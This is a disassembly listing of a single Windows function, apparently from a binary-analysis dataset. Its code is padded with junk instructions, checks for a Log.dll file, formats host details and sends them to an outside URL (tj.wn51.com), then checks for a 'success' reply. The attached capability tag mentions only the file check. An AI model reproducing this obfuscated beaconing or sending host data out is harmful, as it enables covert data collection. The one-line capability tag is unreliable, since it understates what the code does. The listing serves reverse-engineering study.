Function at 0x42e130
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x585c9e
mov eax, dword fs:[0]
push eax
mov eax, 0x1e08
call fcn.00480e50
mov eax, dword [0x5ea00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1dc8], ecx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1dbc], eax
mov byte [ebp - 0x1db6], 1
call fcn.00445d0d
test al, al
je 0x42e193
push esp
pop esi
push esp
pop ecx
push ebp
push ecx
pop eax
pop edi
push ecx
push esi
push edx
push ecx
pop esp
push ebp
push eax
pop esp
push esp
pop esp
call fcn.004457a9
test al, al
je 0x42e1b8
pop ebp
push eax
push esp
push ecx
push edi
push esp
push ebx
pop edi
push esp
push ecx
pop esp
push esp
pop ebx
pop ebx
pop edi
pop edx
push esi
pop ebp
push eax
push ecx
pop esp
push esp
pop esi
pop ecx
pop ebp
pop ebx
pop edx
push edx
call fcn.004457ee
test al, al
je 0x42e1dd
push eax
push esi
pop edx
push edx
pop edx
pop ebp
push edi
pop edi
pop esp
push ebx
push esp
pop eax
pop esi
pop eax
push ecx
push esp
push edi
push edi
push edx
push edi
push ebx
pop ebx
push edx
push ebp
push edx
push edi
push esi
push esi
call fcn.0044598c
test al, al
je 0x42e200
pop edx
push esi
pop edi
pop esi
pop edi
push esp
pop esp
pop ebp
push ebp
pop eax
push ebx
push edx
push esi
pop ebx
push edx
push edi
push eax
push ecx
pop edi
push ebp
push ebp
pop ecx
push edx
pop edi
pop esi
push ebx
call fcn.00445833
test al, al
je 0x42e21f
push edi
push edi
push ebx
push eax
pop ebp
pop esi
pop edi
pop esp
pop ebp
push edx
pop edx
push edx
pop edi
pop ebp
push ebx
push esi
push edi
push eax
pop ebx
pop esp
pop ecx
pop ebx
push 0x11
xor eax, eax
mov dword [ebp - 0x1d00], 7
push str.C:LogResLog.dll
lea ecx, [ebp - 0x1d14]
mov dword [ebp - 0x1d04], 0
mov word [ebp - 0x1d14], ax
call fcn.0041fdf0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1d14]
cmp dword [ebp - 0x1d00], 8
cmovae eax, dword [ebp - 0x1d14]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
movzx ebx, byte [ebp - 0x1db6]
xor ecx, ecx
test eax, eax
cmovne ebx, ecx
mov dword [ebp - 0x1dc0], ebx
call fcn.00445a16
test al, al
je 0x42e2b3
push eax
pop esp
pop ecx
push ebx
pop eax
pop ecx
push ecx
pop ebx
pop edx
push edi
push ebx
pop esp
push ebx
push ebx
push edi
pop esp
push edx
pop edi
pop ecx
pop ebx
push ebp
pop edx
pop edi
push edi
push edx
pop esp
push esi
push ebp
push esi
push edi
push ebx
push ebp
mov ebx, dword [ebp - 0x1dc0]
call fcn.00445d0d
test al, al
je 0x42e2d5
push esp
push edx
push edi
push edx
pop eax
pop ecx
push esp
push edx
pop ecx
pop edx
pop ecx
push esp
pop eax
push esp
pop edx
push esi
pop esp
push ebx
push edx
push esp
pop esi
push esp
push esi
push edi
pop edi
mov esi, 1
test bl, bl
je 0x42e309
push 0x270f
push 0
xor bl, bl
call fcn.004454ac
add esp, 8
movzx ebx, bl
cmp eax, 0x64
cmovle ebx, esi
call fcn.00445fab
test eax, eax
jne 0x42e309
test bl, bl
je 0x42e98c
mov edx, dword [ebp - 0x1dbc]
mov dword [ebp - 0x1cd0], 0xf
mov dword [ebp - 0x1cd4], 0
mov byte [ebp - 0x1ce4], 0
cmp byte [edx], 0
jne 0x42e333
xor ecx, ecx
jmp 0x42e341
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42e338
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1ce4]
call fcn.00424ef0
lea eax, [ebp - 0x1ce4]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x1cfc]
push eax
call fcn.004427d5
add esp, 8
lea ecx, [ebp - 0x1ce4]
mov byte [ebp - 4], 3
call fcn.00422f70
cmp dword [ebp - 0x1ce8], 8
lea ecx, [ebp - 0x114]
lea eax, [ebp - 0x1cfc]
cmovae eax, dword [ebp - 0x1cfc]
push ecx
push eax
call fcn.004428e1
add esp, 8
call fcn.004457a9
test al, al
je 0x42e3b4
push ebp
push ebp
pop esi
push ecx
pop edi
push edi
push eax
push edi
pop ebx
pop ebx
push esi
push ebp
push esi
push edx
push ebx
push esp
push 0x1000
lea eax, [ebp - 0x1ccc]
push 0
push eax
call fcn.0045eed0
add esp, 0xc
call fcn.004458bd
test al, al
je 0x42e3ef
push eax
push eax
pop edi
push eax
pop ebp
pop ebx
pop ebx
pop edx
pop ecx
pop edi
pop edx
push eax
pop eax
push ecx
push esp
pop ebp
push ebp
pop esi
pop ecx
push esp
pop ebp
pop esp
push esi
push ebx
push edx
pop edi
push edx
push esi
mov ebx, dword [ebp - 0x1dc8]
cmp dword [ebx + 0x9c], 0x10
lea eax, [ebx + 0x88]
jb 0x42e406
mov eax, dword [eax]
cmp dword [ebx + 0x54], 0x10
lea ecx, [ebx + 0x40]
jb 0x42e411
mov ecx, dword [ecx]
cmp dword [ebx + 0x84], 0x10
lea edx, [ebx + 0x70]
jb 0x42e41f
mov edx, dword [edx]
cmp dword [ebx + 0x6c], 0x10
lea esi, [ebx + 0x58]
jb 0x42e42a
mov esi, dword [esi]
cmp dword [ebx + 0x3c], 0x10
lea edi, [ebx + 0x28]
jb 0x42e435
mov edi, dword [edi]
push eax
push dword [ebp + 0x14]
lea eax, [ebp - 0x114]
push eax
push ecx
push edx
push esi
push edi
lea eax, [ebp - 0x1ccc]
push str._s_t_s_t_s_t_s_t_s_t_d_t_s
push eax
call fcn.00427d50
push 0xbb8
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.0045eed0
add esp, 0x30
mov dword [ebp - 0x1dcc], 0xbb8
cmp byte [ebp - 0x1ccc], 0
mov dword [ebp - 0x1d30], 0xf
mov dword [ebp - 0x1d34], 0
mov byte [ebp - 0x1d44], 0
jne 0x42e49d
xor ecx, ecx
jmp 0x42e4af
lea ecx, [ebp - 0x1ccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42e4a6
sub ecx, edx
push ecx
lea eax, [ebp - 0x1ccc]
push eax
lea ecx, [ebp - 0x1d44]
call fcn.00424ef0
lea ecx, [ebp - 0x1dcc]
mov byte [ebp - 4], 4
cmp dword [ebp - 0x1d30], 0x10
lea eax, [ebp - 0x1d44]
push ecx
cmovae eax, dword [ebp - 0x1d44]
lea ecx, [ebp - 0xccc]
push ecx
push dword [ebp - 0x1d34]
push eax
call fcn.0044d7c0
add esp, 0x10
call fcn.00445bf9
test al, al
je 0x42e510
push esi
push edi
push ebx
pop eax
push edi
pop ebp
push esp
push eax
pop ecx
pop edi
push ecx
pop edx
push esp
pop ebx
push esp
pop edx
lea ecx, [ebp - 0x1db5]
call fcn.00420b40
lea eax, [ebp - 0xccc]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x1db5]
call fcn.0044cece
call fcn.00445c83
test al, al
je 0x42e54c
push esp
push esp
push ebp
push edi
push ecx
pop ebx
pop esi
pop esp
push eax
pop ebp
pop ebp
pop ecx
push ebp
push eax
pop edi
pop eax
pop ebp
push esp
push 0x42
push str.https:__tj.wn51.com__213bc77278b184a35895a81e9e839286d3e49f8bcb
lea ecx, [ebp - 0x1d2c]
mov dword [ebp - 0x1d18], 0xf
mov dword [ebp - 0x1d1c], 0
mov byte [ebp - 0x1d2c], 0
call fcn.00424ef0
mov byte [ebp - 4], 6
cmp byte [ebp - 0xccc], 0
jne 0x42e58a
xor ecx, ecx
jmp 0x42e59c
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42e593
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x1d2c]
call fcn.00425120
call fcn.00445a16
test al, al
je 0x42e5d5
push ebp
push ecx
push edi
pop esi
pop ecx
pop eax
pop esp
push ebx
push edi
pop ecx
push ecx
pop esp
push ecx
push eax
push ebx
push edi
push ebp
push esp
push eax
push ebx
pop esp
push eax
pop ebx
pop esi
pop eax
push ebp
push esi
push ecx
push edx
call fcn.00445c83
test al, al
je 0x42e5f9
push esp
pop edx
push ebx
pop ebp
pop eax
pop ebp
push ecx
pop eax
push eax
push ecx
pop ebx
push edx
pop esi
push edx
pop esp
pop esp
push ebp
pop edx
pop ecx
push ebp
push eax
push edi
push esp
pop edi
push esi
push ecx
pop edi
lea ecx, [ebp - 0x1e14]
call fcn.00444650
mov byte [ebp - 4], 8
lea eax, [ebp - 0x1d2c]
cmp dword [ebp - 0x1d18], 0x10
lea ecx, [ebp - 0x1e14]
mov dword [ebp - 0x1dc0], 0
cmovae eax, dword [ebp - 0x1d2c]
push eax
call fcn.00444929
lea ecx, [ebp - 0x1e14]
call fcn.00444cd2
mov esi, eax
mov eax, 1
mov edi, dword [esi + 4]
sub edi, dword [esi]
cmove edi, eax
inc edi
push edi
call fcn.00436bf4
mov ebx, eax
add esp, 4
mov dword [ebp - 0x1dbc], ebx
test ebx, ebx
je 0x42e689
push edi
push 0
push ebx
call fcn.0045eed0
mov eax, dword [esi + 4]
add esp, 0xc
xor ecx, ecx
sub eax, dword [esi]
je 0x42e689
mov eax, dword [esi]
mov al, byte [ecx + eax]
mov byte [ecx + ebx], al
inc ecx
mov eax, dword [esi + 4]
sub eax, dword [esi]
cmp ecx, eax
jb 0x42e677
call fcn.0044598c
test al, al
je 0x42e6ac
push ebx
pop edx
push ebp
push ecx
push esp
push esp
pop esi
pop ebx
pop edx
pop edx
pop ebx
push esi
push eax
push esp
push esp
pop eax
pop ebx
pop eax
pop esi
pop eax
pop ebp
pop edi
push ebx
push edi
pop ebx
pop edx
call fcn.00445b2a
test al, al
je 0x42e6d1
push esi
pop esp
push eax
push esi
push ebx
push esi
pop esp
push edi
pop ebp
push edi
push edx
pop edi
pop esp
push ecx
push ecx
pop eax
push ecx
pop ebp
push ebp
push ebx
pop esi
pop edi
pop ebx
push eax
pop ebp
push esp
push esi
push ebx
mov eax, dword [ebp - 0x1dbc]
xor esi, esi
test eax, eax
je 0x42e6e8
push eax
call fcn.00441770
add esp, 4
mov esi, eax
lea ecx, [ebp - 0x1dc4]
call fcn.0044de6e
lea eax, [ebp - 0x1dc4]
push eax
lea ecx, [ebp - 0x1db4]
call fcn.0044de76
push 0
lea ecx, [ebp - 0x1ddc]
mov byte [ebp - 4], 9
call fcn.004509b7
mov byte [ebp - 4], 0xa
cmp byte [esi], 0
mov dword [ebp - 0x1cd0], 0xf
mov dword [ebp - 0x1cd4], 0
mov byte [ebp - 0x1ce4], 0
jne 0x42e73e
xor ecx, ecx
jmp 0x42e74c
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42e743
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x1ce4]
call fcn.00424ef0
push 1
lea eax, [ebp - 0x1ddc]
mov byte [ebp - 4], 0xb
push eax
lea eax, [ebp - 0x1ce4]
push eax
lea ecx, [ebp - 0x1db4]
call fcn.0044f819
mov byte [ebp - 4], 0xa
mov bl, al
mov ecx, dword [ebp - 0x1cd0]
cmp ecx, 0x10
jb 0x42e7cf
mov edx, dword [ebp - 0x1ce4]
inc ecx
cmp ecx, 0x1000
jb 0x42e7c6
test dl, 0x1f
je 0x42e7a2
call fcn.00461cd1
mov eax, dword [edx - 4]
cmp eax, edx
jb 0x42e7ae
call fcn.00461cd1
sub edx, eax
cmp edx, 4
jae 0x42e7ba
call fcn.00461cd1
cmp edx, 0x23
jbe 0x42e7c4
call fcn.00461cd1
mov edx, eax
push edx
call fcn.0043690d
add esp, 4
test bl, bl
je 0x42e836
push str.status
lea ecx, [ebp - 0x1ddc]
call fcn.00450cca
mov ecx, eax
call fcn.004516c6
test al, al
jne 0x42e836
lea eax, [ebp - 0x1ce4]
push eax
push str.status
lea ecx, [ebp - 0x1ddc]
call fcn.00450cca
mov ecx, eax
call fcn.004510de
mov edx, str.success
lea ecx, [ebp - 0x1ce4]
call fcn.0042d170
lea ecx, [ebp - 0x1ce4]
mov bl, al
call fcn.00422f70
xor eax, eax
test bl, bl
setne al
mov dword [ebp - 0x1dc0], eax
call fcn.00445a16
test al, al
je 0x42e854
pop edx
pop ebp
pop eax
push ecx
pop edx
push edx
pop edi
push eax
pop ebx
push esp
pop esi
push ebp
pop eax
pop ebx
pop edi
pop eax
push ebx
push edx
push ebx
push edi
pop eax
call fcn.004457a9
test al, al
je 0x42e86d
pop ecx
push ebp
pop ebp
push eax
pop ebp
pop ecx
push ebp
pop ecx
push edx
pop edi
pop edx
push eax
pop edx
pop edx
pop ecx
pop eax
call fcn.00445d52
test al, al
je 0x42e88a
pop esi
push ecx
pop edx
pop edx
push ebx
pop ebx
pop ecx
push edx
pop esi
pop ebp
push esi
push esi
pop esi
push ebp
push edi
pop ebx
push ebx
pop edi
pop ebp
pop esi
mov eax, dword [ebp - 0x1dbc]
test eax, eax
je 0x42e89d
push eax
call fcn.00436bef
add esp, 4
cmp dword [ebp - 0x1dc0], 0
jne 0x42e8b6
mov ecx, dword [ebp - 0x1dc8]
push 0x5e0454
call fcn.0042f070
lea ecx, [ebp - 0x1ddc]
call fcn.00450b28
lea ecx, [ebp - 0x1d60]
call fcn.00422f70
lea ecx, [ebp - 0x1d8c]
call fcn.00422f70
lea ecx, [ebp - 0x1da0]
call fcn.0042f800
push 8
push 1
push dword [ebp - 0x1da0]
call fcn.0041f920
add esp, 0xc
mov dword [ebp - 0x1da0], 0
lea ecx, [ebp - 0x1db4]
call fcn.0042f740
push 8
push 1
push dword [ebp - 0x1db4]
call fcn.0041f920
add esp, 0xc
mov dword [ebp - 0x1db4], 0
lea ecx, [ebp - 0x1e14]
call fcn.00444692
lea ecx, [ebp - 0x1d2c]
call fcn.00422f70
lea ecx, [ebp - 0x1db5]
call fcn.0041f8b0
lea ecx, [ebp - 0x1d44]
call fcn.00422f70
mov eax, dword [ebp - 0x1ce8]
cmp eax, 8
jb 0x42e96f
inc eax
lea ecx, [ebp - 0x1cfc]
push eax
push dword [ebp - 0x1cfc]
call fcn.00420100
xor eax, eax
mov dword [ebp - 0x1ce8], 7
mov dword [ebp - 0x1cec], 0
mov word [ebp - 0x1cfc], ax
mov eax, dword [ebp - 0x1d00]
cmp eax, 8
jb 0x42e9aa
inc eax
lea ecx, [ebp - 0x1d14]
push eax
push dword [ebp - 0x1d14]
call fcn.00420100
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00436912
mov esp, ebp
pop ebp
ret 0x10